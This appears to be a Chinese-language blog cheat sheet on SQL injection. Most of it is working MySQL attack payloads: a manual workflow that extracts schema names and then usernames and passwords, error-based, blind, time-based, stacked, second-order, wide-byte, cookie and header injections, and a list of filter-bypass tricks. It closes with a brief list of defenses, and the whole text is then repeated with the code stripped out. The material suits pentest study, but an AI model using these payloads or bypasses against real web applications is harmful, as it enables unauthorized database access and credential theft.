SQL 注入总结
字数 2084 2025-08-27 12:33:37

SQL注入攻击全面指南

0x01 SQL注入概述

SQL注入是一种通过操纵应用程序输入来修改后台SQL查询语句,从而执行恶意SQL代码的攻击技术。攻击者利用应用程序对用户输入处理不当的漏洞,向数据库发送恶意查询,可能导致数据泄露、篡改或删除。

0x02 SQL注入分类

按变量类型分类

  • 数字型注入:参数直接作为数字使用,无需引号
  • 字符型注入:参数被引号包围,需要闭合引号

按HTTP提交方式分类

  • GET注入:注入参数通过URL传递
  • POST注入:注入参数通过HTTP请求体传递
  • Cookie注入:注入参数存储在Cookie中

按注入方式分类

  • 报错注入:利用数据库错误信息获取数据
  • 盲注
    • 布尔盲注:根据页面返回的真假判断
    • 时间盲注:根据响应时间判断
  • UNION注入:使用UNION合并查询结果
  • 宽字节注入:利用字符编码问题绕过过滤

0x03 数据库识别

识别后台数据库的方法:

  • SQL Server:通常与Windows(IIS)和ASP/.NET搭配
  • MySQL:通常与Apache和PHP搭配
  • Oracle/MySQL:常用于Java应用

0x04 MySQL版本差异

MySQL 5.0及以上版本与5.0以下版本的主要区别在于INFORMATION_SCHEMA数据库的存在:

  • MySQL ≥5.0:包含INFORMATION_SCHEMA系统数据库,存储所有数据库的元信息

    • SCHEMATA:存储所有数据库基本信息
    • TABLES:存储所有表信息
    • COLUMNS:存储所有列信息
  • MySQL <5.0:无INFORMATION_SCHEMA,需手工枚举爆破

0x05 手工注入流程

MySQL ≥5.0注入步骤

  1. 获取字段数

    ORDER BY n /* 通过递增n值确定字段数 */
    
  2. 获取系统数据库名

    SELECT null,null,schema_name FROM information_schema.schemata
    
  3. 获取当前数据库名

    SELECT null,null,...,database()
    
  4. 获取数据库表名

    SELECT null,null,...,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()
    

    SELECT null,null,...,table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1
    
  5. 获取表字段

    SELECT null,null,...,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'
    
  6. 获取字段值

    SELECT null,group_concat(username,password) FROM users
    

MySQL <5.0注入方法

由于没有INFORMATION_SCHEMA,需使用盲注技术:

常用函数

  • length(str):返回字符串长度
  • substr(str,pos,len):截取字符串
  • mid(str,pos,len):同substr
  • ascii(str):返回首字符ASCII值
  • ord(str):转换字符为ASCII码
  • if(a,b,c):条件判断函数

布尔盲注示例

AND ascii(substr((SELECT database()),1,1))>64

时间盲注示例

UNION SELECT if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null

0x06 常用注入技术

1. 注释符

  • #
  • -- (注意有空格)
  • --+
  • /**/

2. UNION注入

id=-1 UNION SELECT 1,2,3 /* 获取字段 */

3. 布尔注入

id=1' substr(database(),1,1)='t' --+

4. 报错注入技术

a. floor()和rand()

UNION SELECT count(*),2,concat(':',(SELECT database()),':',floor(rand()*2)) as a FROM information_schema.tables GROUP BY a

b. extractvalue()

AND (extractvalue(1,concat(0x7e,(SELECT user()),0x7e)))

c. updatexml()

AND (updatexml(1,concat(0x7e,(SELECT user()),0x7e),1))

d. 几何函数

AND geometrycollection((SELECT * FROM (SELECT * FROM (SELECT user())a)b))
AND multipoint((SELECT * FROM (SELECT * FROM (SELECT user())a)b))
AND polygon((SELECT * FROM (SELECT * FROM (SELECT user())a)b))
AND multipolygon((SELECT * FROM (SELECT * FROM (SELECT user())a)b))
AND linestring((SELECT * FROM (SELECT * FROM (SELECT user())a)b))
AND multilinestring((SELECT * FROM (SELECT * FROM (SELECT user())a)b))

e. exp()

AND exp(~(SELECT * FROM (SELECT user())a))

5. 时间注入

AND if(length(database())>1,sleep(5),1)

6. 堆叠查询注入

id=1';SELECT if(sub(user(),1,1)='r',sleep(3),1)%23

7. 二次注入

  1. 注册用户名为test'
  2. 访问xxx.php?username=test'获取ID=22
  3. 访问xxx.php?id=22触发SQL错误
  4. 构造xxx.php?id=test' UNION SELECT 1,user(),3%23获取新ID=40
  5. 访问ID=40获取数据

8. 宽字节注入

条件

  • 参数被单引号包围且被转义
  • 数据库编码为GBK

示例

id=-1%DF' UNION SELECT 1,user(),3%23

%DF%5c在GBK中会被解释为"連"字,使单引号逃逸

9. Cookie注入

注入点位于Cookie中:

Cookie: id=1 AND 1=1

10. Base64注入

对参数进行Base64编码:

id=MSc%3d  /* 1'的Base64编码 */

11. XFF注入

通过X-Forwarded-For头注入:

X-Forwarded-For: 127.0.0.1' SELECT 1,2,user()

0x07 绕过技术

  1. 大小写绕过UnIoN SeLeCt
  2. 双写绕过UNIUNIONON SELESELECTCT
  3. 编码绕过
    • URL全编码
    • 十六进制:0x61646D696E代替'admin'
  4. 内联注释/*!SELECT*/
  5. 关键字替换
    • AND&&
    • OR||
    • NOT!
  6. 逗号绕过
    • substr(str FROM 1 FOR 1)代替substr(str,1,1)
    • LIMIT 1 OFFSET 0代替LIMIT 0,1
  7. 比较符号绕过
    • GREATEST(a,b)代替a>b
    • BETWEEN a AND b
  8. 空格绕过
    • 使用括号:SELECT(1)FROM(table)WHERE(1=1)
    • 使用加号:SELECT+1+FROM+table
  9. 等价函数
    • hex(),bin()代替ascii()
    • concat_ws()代替group_concat()
    • substring()代替substr(),mid()
  10. HTTP参数污染
    id=1 UNION SELECT+1&id=2,3+FROM+users+WHERE+id=1--
    
  11. 缓冲区溢出
    id=1 AND (SELECT 1)=(SELECT 0xAAAAAAAAAAAAAAAAAAAAA)+UNION+SELECT+1,2,version()...
    

防御建议

  1. 使用参数化查询(预编译语句)
  2. 实施最小权限原则
  3. 对输入进行严格验证和过滤
  4. 使用Web应用防火墙(WAF)
  5. 定期更新和修补数据库系统
  6. 禁用错误信息显示
  7. 使用存储过程
  8. 对敏感数据进行加密

通过全面了解这些SQL注入技术和防御方法,安全人员可以更好地保护系统免受攻击,同时也能更有效地进行渗透测试和安全评估。

SQL注入攻击全面指南 0x01 SQL注入概述 SQL注入是一种通过操纵应用程序输入来修改后台SQL查询语句,从而执行恶意SQL代码的攻击技术。攻击者利用应用程序对用户输入处理不当的漏洞,向数据库发送恶意查询,可能导致数据泄露、篡改或删除。 0x02 SQL注入分类 按变量类型分类 数字型注入 :参数直接作为数字使用,无需引号 字符型注入 :参数被引号包围,需要闭合引号 按HTTP提交方式分类 GET注入 :注入参数通过URL传递 POST注入 :注入参数通过HTTP请求体传递 Cookie注入 :注入参数存储在Cookie中 按注入方式分类 报错注入 :利用数据库错误信息获取数据 盲注 : 布尔盲注:根据页面返回的真假判断 时间盲注:根据响应时间判断 UNION注入 :使用UNION合并查询结果 宽字节注入 :利用字符编码问题绕过过滤 0x03 数据库识别 识别后台数据库的方法: SQL Server :通常与Windows(IIS)和ASP/.NET搭配 MySQL :通常与Apache和PHP搭配 Oracle/MySQL :常用于Java应用 0x04 MySQL版本差异 MySQL 5.0及以上版本与5.0以下版本的主要区别在于 INFORMATION_SCHEMA 数据库的存在: MySQL ≥5.0 :包含 INFORMATION_SCHEMA 系统数据库,存储所有数据库的元信息 SCHEMATA :存储所有数据库基本信息 TABLES :存储所有表信息 COLUMNS :存储所有列信息 MySQL <5.0 :无 INFORMATION_SCHEMA ,需手工枚举爆破 0x05 手工注入流程 MySQL ≥5.0注入步骤 获取字段数 获取系统数据库名 获取当前数据库名 获取数据库表名 或 获取表字段 获取字段值 MySQL <5.0注入方法 由于没有 INFORMATION_SCHEMA ,需使用盲注技术: 常用函数 : length(str) :返回字符串长度 substr(str,pos,len) :截取字符串 mid(str,pos,len) :同substr ascii(str) :返回首字符ASCII值 ord(str) :转换字符为ASCII码 if(a,b,c) :条件判断函数 布尔盲注示例 : 时间盲注示例 : 0x06 常用注入技术 1. 注释符 # -- (注意有空格) --+ /**/ 2. UNION注入 3. 布尔注入 4. 报错注入技术 a. floor()和rand() b. extractvalue() c. updatexml() d. 几何函数 e. exp() 5. 时间注入 6. 堆叠查询注入 7. 二次注入 注册用户名为 test' 访问 xxx.php?username=test' 获取ID=22 访问 xxx.php?id=22 触发SQL错误 构造 xxx.php?id=test' UNION SELECT 1,user(),3%23 获取新ID=40 访问ID=40获取数据 8. 宽字节注入 条件 : 参数被单引号包围且被转义 数据库编码为GBK 示例 : %DF%5c 在GBK中会被解释为"連"字,使单引号逃逸 9. Cookie注入 注入点位于Cookie中: 10. Base64注入 对参数进行Base64编码: 11. XFF注入 通过X-Forwarded-For头注入: 0x07 绕过技术 大小写绕过 : UnIoN SeLeCt 双写绕过 : UNIUNIONON SELESELECTCT 编码绕过 : URL全编码 十六进制: 0x61646D696E 代替 'admin' 内联注释 : /*!SELECT*/ 关键字替换 : AND → && OR → || NOT → ! 逗号绕过 : substr(str FROM 1 FOR 1) 代替 substr(str,1,1) LIMIT 1 OFFSET 0 代替 LIMIT 0,1 比较符号绕过 : GREATEST(a,b) 代替 a>b BETWEEN a AND b 空格绕过 : 使用括号: SELECT(1)FROM(table)WHERE(1=1) 使用加号: SELECT+1+FROM+table 等价函数 : hex() , bin() 代替 ascii() concat_ws() 代替 group_concat() substring() 代替 substr() , mid() HTTP参数污染 : 缓冲区溢出 : 防御建议 使用参数化查询(预编译语句) 实施最小权限原则 对输入进行严格验证和过滤 使用Web应用防火墙(WAF) 定期更新和修补数据库系统 禁用错误信息显示 使用存储过程 对敏感数据进行加密 通过全面了解这些SQL注入技术和防御方法,安全人员可以更好地保护系统免受攻击,同时也能更有效地进行渗透测试和安全评估。